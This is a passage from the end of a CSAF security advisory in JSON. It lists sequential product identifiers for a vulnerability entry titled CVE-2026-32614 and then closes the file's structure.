                        "CSAFPID-5910343",
                        "CSAFPID-5910344",
                        "CSAFPID-5910345",
                        "CSAFPID-5910346",
                        "CSAFPID-5910347",
                        "CSAFPID-5910348",
                        "CSAFPID-5910349",
                        "CSAFPID-5910350",
                        "CSAFPID-5910351",
                        "CSAFPID-5910352",
                        "CSAFPID-5910353",
                        "CSAFPID-5910354",
                        "CSAFPID-5910355",
                        "CSAFPID-5910356",
                        "CSAFPID-5910357",
                        "CSAFPID-5910358",
                        "CSAFPID-5910359",
                        "CSAFPID-5910360",
                        "CSAFPID-5910361",
                        "CSAFPID-5910362",
                        "CSAFPID-5910363",
                        "CSAFPID-5910364",
                        "CSAFPID-5910365",
                        "CSAFPID-5910366",
                        "CSAFPID-5910367",
                        "CSAFPID-5910368",
                        "CSAFPID-5910369",
                        "CSAFPID-5910370",
                        "CSAFPID-5910371",
                        "CSAFPID-5910372",
                        "CSAFPID-5910373",
                        "CSAFPID-5910374",
                        "CSAFPID-5910375",
                        "CSAFPID-5910376",
                        "CSAFPID-5910377",
                        "CSAFPID-5910378",
                        "CSAFPID-5910379",
                        "CSAFPID-5910380",
                        "CSAFPID-5910381",
                        "CSAFPID-5910382",
                        "CSAFPID-5910383",
                        "CSAFPID-5910384",
                        "CSAFPID-5910385",
                        "CSAFPID-5910386",
                        "CSAFPID-5910387",
                        "CSAFPID-5910388",
                        "CSAFPID-5910389",
                        "CSAFPID-5910390",
                        "CSAFPID-5910391",
                        "CSAFPID-5910392",
                        "CSAFPID-5910393",
                        "CSAFPID-5910394",
                        "CSAFPID-5910395",
                        "CSAFPID-5910396",
                        "CSAFPID-5910397",
                        "CSAFPID-5910398",
                        "CSAFPID-5910399",
                        "CSAFPID-5910400",
                        "CSAFPID-5910401",
                        "CSAFPID-5910402",
                        "CSAFPID-5910403",
                        "CSAFPID-5910404",
                        "CSAFPID-5910405",
                        "CSAFPID-5910406",
                        "CSAFPID-5910407",
                        "CSAFPID-5910408",
                        "CSAFPID-5910409",
                        "CSAFPID-5910410",
                        "CSAFPID-5910411",
                        "CSAFPID-5910412",
                        "CSAFPID-5910413",
                        "CSAFPID-5910414",
                        "CSAFPID-5910415",
                        "CSAFPID-5910416",
                        "CSAFPID-5910417",
                        "CSAFPID-5910418",
                        "CSAFPID-5910419",
                        "CSAFPID-5910420",
                        "CSAFPID-5910421",
                        "CSAFPID-5910422",
                        "CSAFPID-5910423",
                        "CSAFPID-5910424",
                        "CSAFPID-5910425",
                        "CSAFPID-5910426",
                        "CSAFPID-5910427",
                        "CSAFPID-5910428",
                        "CSAFPID-5910429",
                        "CSAFPID-5910430",
                        "CSAFPID-5910431",
                        "CSAFPID-5910432",
                        "CSAFPID-5910433",
                        "CSAFPID-5910434",
                        "CSAFPID-5910435",
                        "CSAFPID-5910436",
                        "CSAFPID-5910437",
                        "CSAFPID-5910438",
                        "CSAFPID-5910439",
                        "CSAFPID-5910440",
                        "CSAFPID-5910441",
                        "CSAFPID-5910442",
                        "CSAFPID-5910443",
                        "CSAFPID-5910444",
                        "CSAFPID-5910445",
                        "CSAFPID-5910446",
                        "CSAFPID-5910447",
                        "CSAFPID-5910448",
                        "CSAFPID-5910449",
                        "CSAFPID-5910450",
                        "CSAFPID-5910451",
                        "CSAFPID-5910452",
                        "CSAFPID-5910453",
                        "CSAFPID-5910454",
                        "CSAFPID-5910455",
                        "CSAFPID-5910456",
                        "CSAFPID-5910457",
                        "CSAFPID-5910458",
                        "CSAFPID-5910459",
                        "CSAFPID-5910460",
                        "CSAFPID-5910461",
                        "CSAFPID-5910462"
                    ]
                }
            ],
            "title": "CVE-2026-32614"
        }
    ]
}